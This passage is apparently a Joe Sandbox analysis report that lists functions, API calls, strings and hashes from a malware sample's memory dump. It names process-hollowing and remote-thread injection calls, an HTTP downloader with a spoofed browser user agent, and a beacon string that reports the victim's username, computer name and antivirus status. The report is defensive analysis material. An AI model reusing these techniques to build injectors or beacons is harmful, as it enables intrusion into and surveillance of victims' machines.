Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e11c399d1a09d423e86982617f7fb185bfad691a7c7991c7f7845112d7df3d18
Instruction ID: 6c40449ebe2c91f1b7ab347b7a6ba502e2817c2f831ad5cd481fd0bb91577524
Opcode Fuzzy Hash: e11c399d1a09d423e86982617f7fb185bfad691a7c7991c7f7845112d7df3d18
Instruction Fuzzy Hash: 9831092250CBD185DA74DB36F48036AA7E4FB86B84F505035EACE83B5ADF3DD4548B10

Function 00007FF795D12174 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF795D1219C

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 49a6239eca554bde6359bdab4bfc5be76872e352b47871b1d5bcaa8b0cd124c4
Instruction ID: 8228b20cce9b8047f33642b079f69f1879cb089f8b415716b3884959609ff14a
Opcode Fuzzy Hash: 49a6239eca554bde6359bdab4bfc5be76872e352b47871b1d5bcaa8b0cd124c4
Instruction Fuzzy Hash: 6DD01261A39A9181E664EB22F4C031AA2A0FB95B84F406035EB8A02658CF3DC0948B00

Function 00007FF795D302B0 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D2FBD9), ref: 00007FF795D302CC

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b57c225955378cc017116ab47c09997866f2df82083688e7948c599840e0e8e3
Instruction ID: 44ebef04fd9f47569629d3ac69366e5c40d9ba5fbcecc0c962a7f1ddeb2c32fc
Opcode Fuzzy Hash: b57c225955378cc017116ab47c09997866f2df82083688e7948c599840e0e8e3
Instruction Fuzzy Hash: F6C08071F25190C3D71CDF31F491B0A6A60A744744F905038D70147788CD3DC2528F00

Function 00007FF795D30280 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF795D3029E

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 092c94a0028451cec1867d66aa68a9feed987baf5a0f91e012113381deae6093
Instruction ID: 8d2c968507ab0555b06aae86e663de57a25669f264f9eaab89c372620f05adc9
Opcode Fuzzy Hash: 092c94a0028451cec1867d66aa68a9feed987baf5a0f91e012113381deae6093
Instruction Fuzzy Hash: 77D01221E3899281EBA4EB26E8C9719A2E0FFC4B44F849035E68941968CF3CD099CF00

Non-executed Functions

Function 00007FF795D2F204 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF795D2F272

Strings

.reloc, xrefs: 00007FF795D2F7FB
@, xrefs: 00007FF795D2F5EE
NtUnmapViewOfSection, xrefs: 00007FF795D2F56D
ntdll, xrefs: 00007FF795D2F558

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: b908c4bbb58855851690610d9eaba40de91e681cb9da683074f69fec9867cf37
Instruction ID: 8379e16096a7d683ba18103c81a1c042c144a2a26fb5a42f50ae508dc60ef600
Opcode Fuzzy Hash: b908c4bbb58855851690610d9eaba40de91e681cb9da683074f69fec9867cf37
Instruction Fuzzy Hash: DC32C932608A9286E7B0DB25E49536AF7E1FBC8B84F405536DA8D83B68DF7CD445CB10

Function 00007FF795D2EF58 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF795D2EF9C
Sleep.KERNEL32 ref: 00007FF795D2EFB4
InternetOpenUrlW.WININET ref: 00007FF795D2EFE0
InternetOpenUrlW.WININET ref: 00007FF795D2F017
InternetCloseHandle.WININET ref: 00007FF795D2F02F
Sleep.KERNEL32 ref: 00007FF795D2F03A
HttpQueryInfoA.WININET ref: 00007FF795D2F06A
InternetCloseHandle.WININET ref: 00007FF795D2F079
InternetCloseHandle.WININET ref: 00007FF795D2F084
Sleep.KERNEL32 ref: 00007FF795D2F08F
InternetCloseHandle.WININET ref: 00007FF795D2F0A9
InternetOpenUrlW.WININET ref: 00007FF795D2F0D3
InternetCloseHandle.WININET ref: 00007FF795D2F0EB
Sleep.KERNEL32 ref: 00007FF795D2F0F6
HttpQueryInfoA.WININET ref: 00007FF795D2F12E
GetProcessHeap.KERNEL32 ref: 00007FF795D2F13D
HeapAlloc.KERNEL32 ref: 00007FF795D2F153
InternetCloseHandle.WININET ref: 00007FF795D2F16B
InternetCloseHandle.WININET ref: 00007FF795D2F176
InternetReadFile.WININET ref: 00007FF795D2F1B3
InternetCloseHandle.WININET ref: 00007FF795D2F1E9
InternetCloseHandle.WININET ref: 00007FF795D2F1F4

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF795D2EF95

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 4279794846-2771526726
Opcode ID: c286b5aeaee3a95e6f793a4cad3823bc7d6503c806200300204d2a70b13d1204
Instruction ID: eba40a06d78dee747cf3d30be7a65d260ca917b2303caa1e4cb3e6942c254612
Opcode Fuzzy Hash: c286b5aeaee3a95e6f793a4cad3823bc7d6503c806200300204d2a70b13d1204
Instruction Fuzzy Hash: 0771EB3261CA9186E760EF65F49472AB7A0FBC5B94F906035EA8E43B58CF7DD448CB10

Function 00007FF795D11B30 Relevance: 34.7, APIs: 23, Instructions: 169nativeCOMMON

Download Yara Rule

APIs

NtSuspendProcess.NTDLL ref: 00007FF795D11B8A
NtResumeProcess.NTDLL ref: 00007FF795D11B9C
CloseHandle.KERNEL32 ref: 00007FF795D11BAA
NtResumeProcess.NTDLL ref: 00007FF795D11BC8
CloseHandle.KERNEL32 ref: 00007FF795D11BD6

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Process$CloseHandleResume$Suspend
String ID:
API String ID: 4073281515-0
Opcode ID: dd1db8065b8b72934f9a832ddd55b7f2970ebeaf73aedca523161806716b0cef
Instruction ID: 2a9793b8864ab60e152a38f4497a6ba7d4d0e74b25f4127f366b6f2a135df784
Opcode Fuzzy Hash: dd1db8065b8b72934f9a832ddd55b7f2970ebeaf73aedca523161806716b0cef
Instruction Fuzzy Hash: AB91CC3150CA9186E764EF75F49437AB7A0FBC4B84F901135E68E86AA8DF7CD485CB20

Function 00007FF795D33B98 Relevance: 21.1, APIs: 14, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

__crtGetLocaleInfoA.LIBCMT ref: 00007FF795D33BF1

Part of subcall function 00007FF795D3AB7C: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF795D3AB9C
Part of subcall function 00007FF795D3AB7C: __crtGetLocaleInfoA_stat.LIBCMT ref: 00007FF795D3ABBA

GetLastError.KERNEL32 ref: 00007FF795D33BFD
__crtGetLocaleInfoA.LIBCMT ref: 00007FF795D33C19
__crtGetLocaleInfoA.LIBCMT ref: 00007FF795D33C50
_calloc_crt.LIBCMT ref: 00007FF795D33C2C

Part of subcall function 00007FF795D341D4: _calloc_impl.LIBCMT ref: 00007FF795D34202
Part of subcall function 00007FF795D341D4: Sleep.KERNEL32(?,?,?,00007FF795D35782,?,?,?,00007FF795D359AD,?,?,?,?,00007FF795D32431), ref: 00007FF795D34219

_calloc_crt.LIBCMT ref: 00007FF795D33C67
free.LIBCMT ref: 00007FF795D33C7F
free.LIBCMT ref: 00007FF795D33CCB
GetLocaleInfoEx.KERNEL32 ref: 00007FF795D33CEE
_calloc_crt.LIBCMT ref: 00007FF795D33D00
GetLocaleInfoEx.KERNEL32 ref: 00007FF795D33D18
free.LIBCMT ref: 00007FF795D33D24
GetLocaleInfoEx.KERNEL32 ref: 00007FF795D33D4F
_invoke_watson.LIBCMT ref: 00007FF795D33D77

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Locale$Info$__crt$_calloc_crtfree$A_statErrorLastSleepUpdateUpdate::__calloc_impl_invoke_watson
String ID:
API String ID: 411824461-0
Opcode ID: 564419ca50e371d3acc34bb99ed49dc042e36028f0c6e1de800d56395efabe84
Instruction ID: 9652a2bd75386b12568906d3f62fde1f0667daee64121657241bfbc8a9eb6118
Opcode Fuzzy Hash: 564419ca50e371d3acc34bb99ed49dc042e36028f0c6e1de800d56395efabe84
Instruction Fuzzy Hash: 79511511B1926302FA70BA32AA907BAD2C16F95FC8F946034ED0D8BB95DE3DE401C320

Function 00007FF795D110D4 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF795D110F8

Strings

ntdll, xrefs: 00007FF795D112EB
RtlCreateUserThread, xrefs: 00007FF795D112F8
@, xrefs: 00007FF795D111FF
, xrefs: 00007FF795D111AC

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: 997f9696530ca3d2e2a924b5a8e3b77fe72128a8fbc0c0d691b2ed488240cbf6
Instruction ID: bb1923668ce07f42279ff0674bbd1c553c27eb889f8334f1f5d328749d4f6396
Opcode Fuzzy Hash: 997f9696530ca3d2e2a924b5a8e3b77fe72128a8fbc0c0d691b2ed488240cbf6
Instruction Fuzzy Hash: ED712A3290DA9586E774EBA5F48437AF7E0FB84B80F905135E68D86A98DF7CD484CB10

Function 00007FF795D30E78 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF795D30E8B
Process32FirstW.KERNEL32 ref: 00007FF795D30EB5
CloseHandle.KERNEL32 ref: 00007FF795D30EC4

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 33d517ba9ed34bad332c22683f5269e417fb0aac9e56d6b41238f0337e4f5fc0
Instruction ID: ac20689208ff6fffcdb5829c036c3f9a9e77f37e24e94f045dd909903e211919
Opcode Fuzzy Hash: 33d517ba9ed34bad332c22683f5269e417fb0aac9e56d6b41238f0337e4f5fc0
Instruction Fuzzy Hash: 8721B221A1C96282E770AB21F49433AE3A1FBC4F99F846235E59E425A8DF3CD545C760

Function 00007FF795D2CD90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF795D2CDAC

Part of subcall function 00007FF795D3244C: _FF_MSGBANNER.LIBCMT ref: 00007FF795D3247C
Part of subcall function 00007FF795D3244C: _NMSG_WRITE.LIBCMT ref: 00007FF795D32486
Part of subcall function 00007FF795D3244C: HeapAlloc.KERNEL32(?,?,00000000,00007FF795D34284,?,?,?,00007FF795D3AD9C,?,?,?,00007FF795D3AC9B,?,?,00000000,00007FF795D35832), ref: 00007FF795D324A1
Part of subcall function 00007FF795D3244C: _callnewh.LIBCMT ref: 00007FF795D324BA
Part of subcall function 00007FF795D3244C: _errno.LIBCMT ref: 00007FF795D324C5
Part of subcall function 00007FF795D3244C: _errno.LIBCMT ref: 00007FF795D324D0

GetUserNameA.ADVAPI32 ref: 00007FF795D2CDD8
free.LIBCMT ref: 00007FF795D2CDEA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: _errno$AllocHeapNameUser_callnewhfreemalloc
String ID:
API String ID: 982591855-0
Opcode ID: cadc991865815251f5f87effce6c4517c62175ad35677cb75216a9f745d246b1
Instruction ID: 1cb5c19da68bf7bdc5c7821819f7b85be305dab2313f21e8934676fa719499f2
Opcode Fuzzy Hash: cadc991865815251f5f87effce6c4517c62175ad35677cb75216a9f745d246b1
Instruction Fuzzy Hash: E4219936B08A5596EB20AF25E48132AB3E0F7C9F84F909031EA8D87765DF7DD8448B10

Function 00007FF795D124E8 Relevance: 10.6, APIs: 7, Instructions: 137memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF795D125C3
WriteProcessMemory.KERNEL32 ref: 00007FF795D125F5

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID:
API String ID: 645232735-0
Opcode ID: 9846827d6b8e06299e9a05d4f878c346567fa6bf18a5ac3c9d23b35c2b6f147d
Instruction ID: a59b93d396836f4dfeccb396c2b094082797fea4a6e6bf825ffc4613eae908d2
Opcode Fuzzy Hash: 9846827d6b8e06299e9a05d4f878c346567fa6bf18a5ac3c9d23b35c2b6f147d
Instruction Fuzzy Hash: 4571C836648B5586DB64DB2AE48032AABE1F789FC4F405035EA8D83B68DF3DE445CB50

Function 00007FF795D133F8 Relevance: 7.6, APIs: 5, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF795D13490
free.LIBCMT ref: 00007FF795D1342E

Part of subcall function 00007FF795D3240C: HeapFree.KERNEL32 ref: 00007FF795D32422
Part of subcall function 00007FF795D3240C: _errno.LIBCMT ref: 00007FF795D3242C
Part of subcall function 00007FF795D3240C: GetLastError.KERNEL32 ref: 00007FF795D32434

free.LIBCMT ref: 00007FF795D13448
malloc.LIBCMT ref: 00007FF795D13463

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: free$ErrorFreeHeapInformationLastQuerySystem_errnomalloc
String ID:
API String ID: 76496729-0
Opcode ID: 5a7b4308a923f00615bebbf7bced7e92388ca8185c8d29abf5f0f076eaa07afc
Instruction ID: 97e61b132c183e94572a75dd95134ea9b9e3290ae6f10702faa003c53bdb8abb
Opcode Fuzzy Hash: 5a7b4308a923f00615bebbf7bced7e92388ca8185c8d29abf5f0f076eaa07afc
Instruction Fuzzy Hash: D121E67291C6618AE775EB34E08472EF2E0FB84B48F802135F68E46A99CF7CD585CB14

Function 00007FF795D2D070 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF795D2D11C
_snprintf.LIBCMT ref: 00007FF795D2D1EB

Strings

info=1&uid=%s&ver=%s&os=%u.%u.%u&cmpname=%s&username=%s&ut=%d&av=%d, xrefs: 00007FF795D2D090
3.2, xrefs: 00007FF795D2D1C5

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Version_snprintf
String ID: 3.2$info=1&uid=%s&ver=%s&os=%u.%u.%u&cmpname=%s&username=%s&ut=%d&av=%d
API String ID: 2221195653-1629646224
Opcode ID: d8e065c0954a299e65155b93d3e3b5ceec94708ba317d722836e874e1f68d53d
Instruction ID: e7c6296cc83dd76065ca626466e07ee336c5fadee01f32bc00be8485f8622404
Opcode Fuzzy Hash: d8e065c0954a299e65155b93d3e3b5ceec94708ba317d722836e874e1f68d53d
Instruction Fuzzy Hash: E951C832608AC586D774EB25E4843AAB7A1F7C8790F905235DA9D83BA8DF7CD445CF10

Function 00007FF795D1312C Relevance: 4.6, APIs: 3, Instructions: 97nativeCOMMON

Download Yara Rule

APIs

NtCreateProcessEx.NTDLL ref: 00007FF795D13191
NtQueryInformationProcess.NTDLL ref: 00007FF795D131EF

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Process$CreateInformationQuery
String ID:
API String ID: 3399482958-0
Opcode ID: d0a1b496ef4acfd9d1adaaa03207ab10c459d0b8102526685db81c84b86b5cc0
Instruction ID: 5154ae763ed273e377a610fc65b68554d79c028075fb22b87607d68541f86f2b
Opcode Fuzzy Hash: d0a1b496ef4acfd9d1adaaa03207ab10c459d0b8102526685db81c84b86b5cc0
Instruction Fuzzy Hash: 91513672508B9086E7A0DB25F4843AAB7E0FB85794F901235E6CD47AA8DF3DD049CB50

Function 00007FF795D2CCD4 Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF795D2CD57
CheckTokenMembership.ADVAPI32 ref: 00007FF795D2CD6D
FreeSid.ADVAPI32 ref: 00007FF795D2CD78

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 4f11fd27218308b27aec18665efe2a0a9f3ef76be2421953362379dfee997c75
Instruction ID: 2b81f15dc6c35c0c0d86a57254f90cc8073146f096dbdf6b48e9463a71db0910
Opcode Fuzzy Hash: 4f11fd27218308b27aec18665efe2a0a9f3ef76be2421953362379dfee997c75
Instruction Fuzzy Hash: F511BA7250C78086E3209F24F49835BBBE0F795748F501168E6C94BB99CB7ED509CF91

Function 00007FF795D13328 Relevance: 1.5, APIs: 1, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

NtQueryInformationFile.NTDLL ref: 00007FF795D13396

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: 24e99ca03b8a7b22beea0223d64960cda4c10f857ed4866b0de594b88d33f52b
Instruction ID: 512148544420821dbab82b8fc7ce584933b5ce4be23e2e316d5e78e9007b9cc5
